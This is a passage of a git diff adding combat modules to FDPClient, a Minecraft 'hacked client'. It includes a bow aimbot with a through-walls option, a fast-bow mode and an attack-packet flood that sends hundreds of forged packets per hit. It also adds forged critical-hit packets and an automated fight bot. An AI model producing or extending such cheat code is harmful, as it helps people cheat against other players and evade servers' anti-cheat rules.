max(bestTimeStamp, it.time) + } + } + } + // simply release them all + // TODO: Multi targets support + if (!found) releasePackets() + else releasePacket(bestTimeStamp) + } + + private fun stopReverse() { + if (storageSendPackets.isEmpty()) return + while (storageSendPackets.isNotEmpty()) { + storageSendPackets.removeAt(0).let { + try { + val packetEvent = PacketEvent(it,PacketEvent.Type.SEND) + if (!packets.contains(it)) FDPClient.eventManager.callEvent(packetEvent) + if (!packetEvent.isCancelled) PacketUtils.sendPacketNoEvent(it) + } catch (e: Exception) { + FDPClient.hud.addNotification( + Notification(name, + "Something went wrong when sending packet reversing", + NotifyType.ERROR + ) + ) + } + // why kotlin + return@let + } + } + if (storageSendPackets.isEmpty()) { + reversing = false + hasAttackInReversing = false + } + } + + private val calculatedMaxHurtTime : Int + get() = maxHurtTime.get() + if (hurtTimeWithPing.get()) ceil(mc.thePlayer.getPing() / 50.0).toInt() else 0 + + fun update() {} + + private data class ServerPacketStorage(val packet: Packet<INetHandlerPlayClient>) { + val time = System.nanoTime() + } + + private data class EntityPacketLoc(val entity: Entity, val x: Double, val y: Double, val z: Double) { + val time = System.nanoTime() + } + + override val tag: String + get() = mc.thePlayer.getPing().toString() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BowModule.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BowModule.kt new file mode 100644 index 0000000..91d3adc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/BowModule.kt @@ -0,0 +1,241 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.init.Items +import net.minecraft.item.ItemBow +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import java.awt.Color + +@ModuleInfo(name = "BowModule", category = ModuleCategory.COMBAT) +class BowModule : Module() { + + // AutoBow + private val AutoBowValue = BoolValue("AutoBow", false) + private val waitForBowAimbot = BoolValue("AutoBow-WaitForBowAimbot", true).displayable { AutoBowValue.get() } + + // BowAimbot + private val BowAimbotValue = BoolValue("BowAimbot Options", false) + private val silentValue = BoolValue("BowAimbot-Silent", true).displayable { BowAimbotValue.get() } + private val predictValue = BoolValue("BowAimbot-Predict", true).displayable { BowAimbotValue.get() } + private val throughWallsValue = BoolValue("BowAimbot-ThroughWalls", false).displayable { BowAimbotValue.get() } + private val predictSizeValue = FloatValue("BowAimbot-PredictSize", 2F, 0.1F, 5F).displayable { predictValue.get() } + private val priorityValue = ListValue( + "BowAimbot-Priority", + arrayOf("Health", "Distance", "Direction"), + "Direction" + ).displayable { BowAimbotValue.get() } + private val markValue = BoolValue("BowAimbot-Mark", true).displayable { BowAimbotValue.get() } + + //FastBow + private val fastBowValue = BoolValue("FastBow", false) + private val packetsValue = IntegerValue("FastBow-Packets", 20, 3, 20).displayable { fastBowValue.get() } + private val delay = IntegerValue("FastBow-Delay", 0, 0, 500).displayable { fastBowValue.get() } + + //BowAura + private val bowAuraValue = BoolValue("BowAura Options", false) + private val AuraSilentValue = BoolValue("Silent", true) + private val AuraPredictValue = BoolValue("Predict", true) + private val AuraThroughWallsValue = BoolValue("ThroughWalls", false) + private val AuraPredictSizeValue = FloatValue("PredictSize", 2F, 0.1F, 5F).displayable { predictValue.get() } + private val AuraPriorityValue = ListValue("Priority", arrayOf("Health", "Distance", "Direction"), "Direction") + private val AuraMaxDistance = FloatValue("MaxDistance", 100F, 5F, 200F) + private val AuraMarkValue = BoolValue("Mark", true) + + + val timer = MSTimer() + + private var target: Entity? = null + + @EventTarget + fun onUpdate(event: UpdateEvent) { + val x = mc.thePlayer.posX + val y = mc.thePlayer.posY + val z = mc.thePlayer.posZ + if (fastBowValue.get()) { + if (!mc.thePlayer.isUsingItem) { + return + } + + if (mc.thePlayer.inventory.getCurrentItem() != null && mc.thePlayer.inventory.getCurrentItem().item is ItemBow) { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + BlockPos.ORIGIN, + 255, + mc.thePlayer.currentEquippedItem, + 0F, + 0F, + 0F + ) + ) + + val yaw = if (RotationUtils.targetRotation != null) + RotationUtils.targetRotation!!.yaw + else + mc.thePlayer.rotationYaw + + val pitch = if (RotationUtils.targetRotation != null) + RotationUtils.targetRotation!!.pitch + else + mc.thePlayer.rotationPitch + for (i in 0 until packetsValue.get()) + mc.netHandler.addToSendQueue(C03PacketPlayer.C05PacketPlayerLook(yaw, pitch, true)) + if (timer.hasTimePassed(delay.get().toLong())) { + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + timer.reset() + } + mc.thePlayer.itemInUseCount = mc.thePlayer.inventory.getCurrentItem().maxItemUseDuration - 1 + } + } + + if (AutoBowValue.get()) { + if (mc.thePlayer.isUsingItem && mc.thePlayer.heldItem?.item == Items.bow && + mc.thePlayer.itemInUseDuration > 20 && (!waitForBowAimbot.get() || hasTarget()) + ) { + mc.thePlayer.stopUsingItem() + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + } + } + + if (!BowAimbotValue.get()) { + return + } + + target = null + + if (mc.thePlayer.itemInUse?.item is ItemBow) { + val entity = getTarget(throughWallsValue.get(), priorityValue.get()) ?: return + + target = entity + RotationUtils.faceBow(target!!, silentValue.get(), predictValue.get(), predictSizeValue.get()) + } + + if (bowAuraValue.get()) { + target = null + val invBow = bow ?: return + target = getBowAaura(AuraPriorityValue.get()) ?: return + mc.thePlayer!!.inventory.currentItem = invBow + mc.gameSettings.keyBindUseItem.pressed = true + RotationUtils.faceBow(target!!, AuraSilentValue.get(), AuraPredictValue.get(), AuraPredictSizeValue.get()) + if (mc.thePlayer.isUsingItem && mc.thePlayer.itemInUseDuration > 20) { + mc.gameSettings.keyBindUseItem.pressed = false + mc.thePlayer.stopUsingItem() + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + } + } + + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (!BowAimbotValue.get()) { + return + } + + if (target != null && !priorityValue.equals("Multi") && markValue.get()) { + RenderUtils.drawPlatform(target, Color(37, 126, 255, 70)) + } + + if (!bowAuraValue.get()) { + if (!AuraMarkValue.get() || target == null) return + RenderUtils.drawPlatform(target, Color(37, 126, 255, 70)) + } + } + + override fun onDisable() { + target = null + } + + private val bow: Int? + get() { + var arrow = false + for (inv in mc.thePlayer.inventory.mainInventory) { + if (inv != null && inv.item == Items.arrow) { + arrow = true + break + } + } + if (!arrow && !mc.playerController.isInCreativeMode) return null + for (i in 0..8) { + val itemStack = mc.thePlayer.inventory.getStackInSlot(i) ?: continue + if (itemStack.item is ItemBow) { + return i + } + } + return null + } + + private fun getTarget(throughWalls: Boolean, priorityMode: String): Entity? { + val targets = mc.theWorld.loadedEntityList.filter { + it is EntityLivingBase && EntityUtils.isSelected(it, true) && + (throughWalls || mc.thePlayer.canEntityBeSeen(it)) + } + + return when (priorityMode.uppercase()) { + "DISTANCE" -> targets.minByOrNull { mc.thePlayer.getDistanceToEntity(it) } + "DIRECTION" -> targets.minByOrNull { RotationUtils.getRotationDifference(it) } + "HEALTH" -> targets.minByOrNull { (it as EntityLivingBase).health } + else -> null + } + } + + private fun getBowAaura(priorityMode: String): Entity? { + val targets = mc.theWorld!!.loadedEntityList.filter { + it is EntityLivingBase && + EntityUtils.isSelected(it, true) && + (AuraThroughWallsValue.get() || mc.thePlayer!!.canEntityBeSeen(it)) && + mc.thePlayer.getDistanceToEntity(it) <= AuraMaxDistance.get() + } + return when { + priorityMode.equals("distance", true) -> targets.minByOrNull { mc.thePlayer!!.getDistanceToEntity(it) } + priorityMode.equals("direction", true) -> targets.minByOrNull { RotationUtils.getRotationDifference(it) } + priorityMode.equals("health", true) -> targets.minByOrNull { (it as EntityLivingBase).health } + else -> null + } + } + + private fun hasTarget() = target != null && mc.thePlayer.canEntityBeSeen(target) + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/ComboOneHit.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/ComboOneHit.kt new file mode 100644 index 0000000..8f79328 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/ComboOneHit.kt @@ -0,0 +1,56 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C0APacketAnimation + +@ModuleInfo(name = "ComboOneHit", category = ModuleCategory.COMBAT) +@SuppressWarnings("ALL") +object ComboOneHit : Module() { + + private val amountValue = IntegerValue("Packets", 200, 0, 500) + private val swingValue = ListValue("SwingMode", arrayOf("Normal","Packet"), "Normal") + private val onlyAuraValue = BoolValue("OnlyAura", false) + private val gameBreaking = BoolValue("GameBreaking", false) + + @EventTarget + fun onAttack(event: AttackEvent) { + fun sendPacket() { + mc.netHandler.addToSendQueue(C02PacketUseEntity(event.targetEntity, C02PacketUseEntity.Action.ATTACK)) + } + fun swingPacket() { + when(swingValue.get().lowercase()) { + "normal" -> mc.thePlayer.swingItem() + + "packet" -> mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + } + if (onlyAuraValue.get() && !FDPClient.moduleManager[KillAura::class.java]!!.state && !FDPClient.moduleManager[InfiniteAura::class.java]!!.state) return + + repeat (amountValue.get()) { + swingPacket() + sendPacket() + } + if (gameBreaking.get()) { + repeat (amountValue.get()) { + swingPacket() + repeat(3) { + sendPacket() + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Criticals.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Criticals.kt new file mode 100644 index 0000000..e66dde4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Criticals.kt @@ -0,0 +1,224 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.EntityLivingBase +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S0BPacketAnimation + +@ModuleInfo(name = "Criticals", category = ModuleCategory.COMBAT, autoDisable = EnumAutoDisableType.FLAG) +object Criticals : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.criticals", CriticalMode::class.java) + .map { it.newInstance() as CriticalMode } + .sortedBy { it.modeName } + + private val mode: CriticalMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Packet") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + val delayValue = IntegerValue("Delay", 0, 0, 500) + val s08FlagValue = BoolValue("FlagPause", true) + private val s08DelayValue = IntegerValue("FlagPause-Time", 100, 100, 5000).displayable { s08FlagValue.get() } + private val hurtTimeValue = IntegerValue("HurtTime", 10, 0, 10) + private val CritTiming = ListValue("CritTiming", arrayOf("Always", "OnGround", "OffGround"), "Always") + private val lookValue = BoolValue("UseC06Packet", false) + private val debugValue = BoolValue("DebugMessage", false) + val msTimer = MSTimer() + private val flagTimer = MSTimer() + private val syncTimer = MSTimer() + + var target = 0 + + var antiDesync = false + + override fun onEnable() { + target = 0 + msTimer.reset() + flagTimer.reset() + syncTimer.reset() + mode.onEnable() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1F + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(!state) return + when (CritTiming.get().lowercase()) { + "always" -> null + "onground" -> if (!mc.thePlayer.onGround) return + "offground" -> if (mc.thePlayer.onGround) return + } + mode.onUpdate(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if(!state) return + when (CritTiming.get().lowercase()) { + "always" -> null + "onground" -> if (!mc.thePlayer.onGround) return + "offground" -> if (mc.thePlayer.onGround) return + } + mode.onMotion(event) + if(event.eventState != EventState.PRE) return + mode.onPreMotion(event) + } + + @EventTarget + fun onAttack(event: AttackEvent) { + if(!state) return + when (CritTiming.get().lowercase()) { + "always" -> null + "onground" -> if (!mc.thePlayer.onGround) return + "offground" -> if (mc.thePlayer.onGround) return + } + if (event.targetEntity is EntityLivingBase) { + val entity = event.targetEntity + target = entity.entityId + if (!mc.thePlayer.onGround || mc.thePlayer.isOnLadder || mc.thePlayer.isInWeb || mc.thePlayer.isInWater || + mc.thePlayer.isInLava || mc.thePlayer.ridingEntity != null || entity.hurtTime > hurtTimeValue.get() || + !msTimer.hasTimePassed(delayValue.get().toLong()) + ) { + return + } + + if (s08FlagValue.get() && !flagTimer.hasTimePassed(s08DelayValue.get().toLong())) + return + + antiDesync = true + + mode.onAttack(event) + + msTimer.reset() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if(!state) return + + val packet = event.packet + + if (packet is S08PacketPlayerPosLook) { + flagTimer.reset() + antiDesync = false + if (debugValue.get()) { + alert("FLAG") + } + /* + if (s08FlagValue.get()) { + jState = 0 + } + + */ + } + + if (packet is C03PacketPlayer && (MovementUtils.isMoving() || syncTimer.hasTimePassed(1000L) || msTimer.hasTimePassed( + ((delayValue.get() / 5) + 75).toLong() + )) + ) + antiDesync = false + + if (s08FlagValue.get() && !flagTimer.hasTimePassed(s08DelayValue.get().toLong())) + return + + mode.onPacket(event) + + if (packet is S0BPacketAnimation && debugValue.get()) { + if (packet.animationType == 4 && packet.entityID == target) { + alert("CRIT") + } + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + if(!state) return + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + if(!state) return + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + if(!state) return + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + if(!state) return + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + fun sendCriticalPacket( + xOffset: Double = 0.0, + yOffset: Double = 0.0, + zOffset: Double = 0.0, + ground: Boolean + ) { + val x = mc.thePlayer.posX + xOffset + val y = mc.thePlayer.posY + yOffset + val z = mc.thePlayer.posZ + zOffset + if (lookValue.get()) { + mc.netHandler.addToSendQueue( + C03PacketPlayer.C06PacketPlayerPosLook( + x, + y, + z, + mc.thePlayer.rotationYaw, + mc.thePlayer.rotationPitch, + ground + ) + ) + } else { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, ground)) + } + } + + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FakeLag.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FakeLag.kt new file mode 100644 index 0000000..fcbbd65 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FakeLag.kt @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +private class PosData { + var height: Float = 1.9f + var width: Float = 0.4f + var x: Int = 0 + var y: Int = 0 + var z: Int = 0 + var prevX: Double = 0.0 + var prevY: Double = 0.0 + var prevZ: Double = 0.0 + private var increment = 0 + + val posX: Double + get() = x / 32.0 + + val posY: Double + get() = y / 32.0 + + val posZ: Double + get() = z / 32.0 + + fun motionX(x: Byte) { + prevX = posX + this.x += x + increment = 3 + } + + fun motionY(y: Byte) { + prevY = posY + this.y += y + increment = 3 + } + + fun motionZ(z: Byte) { + prevZ = posZ + this.z += z + increment = 3 + } + + fun update() { + if (increment > 0) { + prevX += ((x / 32.0) - prevX) / increment + prevY += ((y / 32.0) - prevY) / increment + prevZ += ((z / 32.0) - prevZ) / increment + --increment + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FightBot.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FightBot.kt new file mode 100644 index 0000000..e9b1226 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/FightBot.kt @@ -0,0 +1,489 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.other.Teams +import net.ccbluex.liquidbounce.features.module.modules.movement.Step +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.render.ColorManager +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.boss.EntityWither +import net.minecraft.util.MathHelper +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11 +import kotlin.concurrent.thread +import kotlin.math.atan2 +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +@ModuleInfo(name = "FightBot", category = ModuleCategory.COMBAT) +object FightBot : Module() { + + private val pathRenderValue = BoolValue("PathRender", true) + private val jumpResetValue = BoolValue("JumpReset", true) + private val autoJumpValue = BoolValue("AutoJump", false) + private val silentValue = BoolValue("Silent", false) + private val blockMode = ListValue("blockMode", arrayOf("Skill", "Always", "Manual"), "Manual") + private val findWay = ListValue("findWay", arrayOf("None", "Point", "Entity"), "Point") + private val workReach = FloatValue("workReach", 10f, 1f, 50f) + + private var mainPos: FloatArray = floatArrayOf(0f, 0f, 0f) + private var entity: EntityLivingBase? = null + private val discoveredTargets = mutableListOf<EntityLivingBase>() + private val witherTargets = mutableListOf<EntityLivingBase>() + private var path = mutableListOf<Vec3>() + private var backPath = mutableListOf<Vec3>() + + private var thread: Thread? = null + private var backThread: Thread? = null + override fun onEnable() { + if (!autoJumpValue.get()) FDPClient.moduleManager[Step::class.java]!!.state = true + if (!autoJumpValue.get()) FDPClient.moduleManager[Step::class.java]!!.modeValue.set("Jump") + if (findWay.get().contains("Point")) mainPos = + floatArrayOf(mc.thePlayer.posX.toFloat(), mc.thePlayer.posY.toFloat(), mc.thePlayer.posZ.toFloat()) + } + + override fun onDisable() { + if (!autoJumpValue.get()) FDPClient.moduleManager[Step::class.java]!!.state = false + thread?.stop() + backThread?.stop() + mc.gameSettings.keyBindForward.pressed = false + } + + @EventTarget + fun onAttack(event: AttackEvent) { + when (blockMode.get().lowercase()) { + "skill" -> { + if (mc.thePlayer.experienceLevel >= 100 && entity?.getDistanceToEntity(mc.thePlayer)!! < 3.5f) + mc.gameSettings.keyBindUseItem.pressed = true + } + + "always" -> { + mc.gameSettings.keyBindUseItem.pressed = entity?.getDistanceToEntity(mc.thePlayer)!! < 3.5f + } + } + } + + private fun findWither(): EntityLivingBase? { + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityLivingBase) { + if (entity != mc.thePlayer) { + if (entity is EntityWither) { + witherTargets.add(entity) + } + } + } + } + witherTargets.sortBy { mc.thePlayer.getDistanceToEntityBox(it) } + return if (witherTargets.size >= 1) + witherTargets[0] + else + null + } + + @EventTarget + fun onUpdate(e: UpdateEvent) { + if (jumpResetValue.get()) { + if (mc.thePlayer.hurtTime > 0 && mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + try { + discoveredTargets.clear() + witherTargets.clear() + if (findWay.get().lowercase().contains("entity") && findWither() == null) { + this.state = false + FDPClient.hud.addNotification( + Notification( + "FightBot", + "Cant find wither", + NotifyType.WARNING, + 4000, + 500 + ) + ) + return + } + val teams = FDPClient.moduleManager[Teams::class.java]!! + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityLivingBase) { + if (entity != mc.thePlayer) { + if (entity is EntityWither) { + witherTargets.add(entity) + } else { + if (EntityUtils.isSelected(entity,true)) { + when (findWay.get().lowercase()) { + "point" -> { + if (getDistanceToPos( + mainPos[0], + mainPos[1], + mainPos[2], + entity + ) < workReach.get() && !teams.isInYourTeam(entity) + ) { + discoveredTargets.add(entity) + } + } + + "none" -> { + if (mc.thePlayer.getDistanceToEntity(entity) < workReach.get() && !teams.isInYourTeam( + entity + ) + ) { + discoveredTargets.add(entity) + } + } + + "entity" -> { + if (entity.getDistanceToEntity(findWither()) < workReach.get() && !teams.isInYourTeam( + entity + ) + ) { + discoveredTargets.add(entity) + } + } + } + } + } + } + } + } + if (discoveredTargets.size >= 1) { + discoveredTargets.sortBy { mc.thePlayer.getDistanceToEntityBox(it) } + witherTargets.sortBy { mc.thePlayer.getDistanceToEntityBox(it) } + val entity = discoveredTargets[0] + + if (thread?.isAlive != true) { + thread = thread(name = "FightBot-Find") { + path = PathUtils.findBlinkPath( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + entity.posX, + entity.posY, + entity.posZ, + 2.5 + ) + return@thread + } + } + if (path.size<=1) { + strafeWithYaw(MovementUtils.defaultSpeed(), getRotation(entity)) + } else { + strafeWithYaw( + MovementUtils.defaultSpeed(), getRotationFromPos( + (path[0].xCoord.toFloat()+path[1].xCoord.toFloat())/2.0f, + (path[0].yCoord.toFloat()+path[1].yCoord.toFloat())/2.0f, + (path[0].zCoord.toFloat()+path[1].zCoord.toFloat())/2.0f + ) + ) + } + if (MovementUtils.hasMotion()) { + if (mc.thePlayer.onGround && autoJumpValue.get()) mc.thePlayer.jump() + } + } else { + when (findWay.get().lowercase()) { + "point" -> { + if (getDistanceToPos(mainPos[0], mainPos[1], mainPos[2], mc.thePlayer) > 2) { + if (backThread?.isAlive != true) { + backThread = thread(name = "FightBot-Back") { + backPath = PathUtils.findBlinkPath( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + mainPos[0].toDouble(), mainPos[1].toDouble(), mainPos[2].toDouble(), + 0.1 + ) + return@thread + } + } + if (backPath.isEmpty()) { + strafeWithYaw( + MovementUtils.defaultSpeed(), + getRotationFromPos(mainPos[0], mainPos[1], mainPos[2]) + ) + } else { + strafeWithYaw( + MovementUtils.defaultSpeed(), getRotationFromPos( + backPath[0].xCoord.toFloat(), + backPath[0].yCoord.toFloat(), + backPath[0].zCoord.toFloat() + ) + ) + } + if (MovementUtils.hasMotion()) { + if (mc.thePlayer.onGround && autoJumpValue.get()) mc.thePlayer.jump() + } + } else if (mc.gameSettings.keyBindForward.isKeyDown) mc.gameSettings.keyBindForward.pressed = + false + } + + "entity" -> { + val entity: EntityLivingBase = findWither()!! + if (mc.thePlayer.getDistanceToEntity(entity) > 2) { + if (backThread?.isAlive != true) { + backThread = thread(name = "FightBot") { + backPath = PathUtils.findBlinkPath( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + entity.posX, + entity.posY, + entity.posZ, + 2.5 + ) + return@thread + } + } + if (backPath.isEmpty()) { + strafeWithYaw(MovementUtils.defaultSpeed(), getRotation(entity)) + } else { + strafeWithYaw( + MovementUtils.defaultSpeed(), getRotationFromPos( + backPath[0].xCoord.toFloat(), + backPath[0].yCoord.toFloat(), + backPath[0].zCoord.toFloat() + ) + ) + } + if (MovementUtils.hasMotion()) { + if (mc.thePlayer.onGround && autoJumpValue.get()) mc.thePlayer.jump() + } + } else if (mc.gameSettings.keyBindForward.isKeyDown) mc.gameSettings.keyBindForward.pressed = + false + } + } + path = backPath + } + } catch (e: Exception) { + e.printStackTrace() + } + } + + private fun getDistanceToPos(posX: Float, posY: Float, posZ: Float, entity: EntityLivingBase): Float { + val f: Float = (posX - entity.posX).toFloat() + val f1: Float = (posY - entity.posY).toFloat() + val f2: Float = (posZ - entity.posZ).toFloat() + return MathHelper.sqrt_float(f * f + f1 * f1 + f2 * f2) + } + + private fun getRotation(entity: EntityLivingBase): FloatArray { + val diffX = entity.posX - mc.thePlayer.posX + val diffZ = entity.posZ - mc.thePlayer.posZ + val diffY = + entity.posY + entity.eyeHeight.toDouble() - (mc.thePlayer.posY + mc.thePlayer.getEyeHeight().toDouble()) + val dist = MathHelper.sqrt_double((diffX * diffX + diffZ * diffZ)).toDouble() + val yaw = (atan2(diffZ, diffX) * 180 / 3.141592653589).toFloat() - 90.0f + val pitch = (-(atan2(diffY, dist) * 180 / 3.141592653589)).toFloat() + return floatArrayOf(yaw, pitch) + } + + private fun getRotationFromPos(posX: Float, posY: Float, posZ: Float): FloatArray { + val diffX = posX - mc.thePlayer.posX + val diffZ = posZ - mc.thePlayer.posZ + val diffY = posY - (mc.thePlayer.posY + mc.thePlayer.getEyeHeight().toDouble()) + val dist = MathHelper.sqrt_double((diffX * diffX + diffZ * diffZ)).toDouble() + val yaw = (atan2(diffZ, diffX) * 180 / 3.141592653589).toFloat() - 90.0f + val pitch = (-(atan2(diffY, dist) * 180 / 3.141592653589)).toFloat() + return floatArrayOf(yaw, pitch) + } + + private fun strafeWithYaw(speed: Double, yaw: FloatArray) { + if(silentValue.get()) { + mc.thePlayer.isSprinting = true + if (mc.thePlayer.onGround) { + if (mc.gameSettings.keyBindForward.pressed) mc.gameSettings.keyBindForward.pressed = false + RotationUtils.setTargetRotation(Rotation(yaw[0], yaw[1]), 10) + val strafe = mc.thePlayer.movementInput.moveStrafe.toDouble() + val cos = cos(Math.toRadians((yaw[0] + 90.0f).toDouble())) + val sin = sin(Math.toRadians((yaw[0] + 90.0f).toDouble())) + mc.thePlayer.motionX = (speed * cos + strafe * speed * sin) + mc.thePlayer.motionZ = (speed * sin - strafe * speed * cos) + } else { + mc.thePlayer.rotationYaw = yaw[0] + mc.gameSettings.keyBindForward.pressed = true + } + }else{ + mc.thePlayer.rotationYaw = yaw[0] + mc.gameSettings.keyBindForward.pressed = true + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + /*GL11.glPushMatrix() + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) 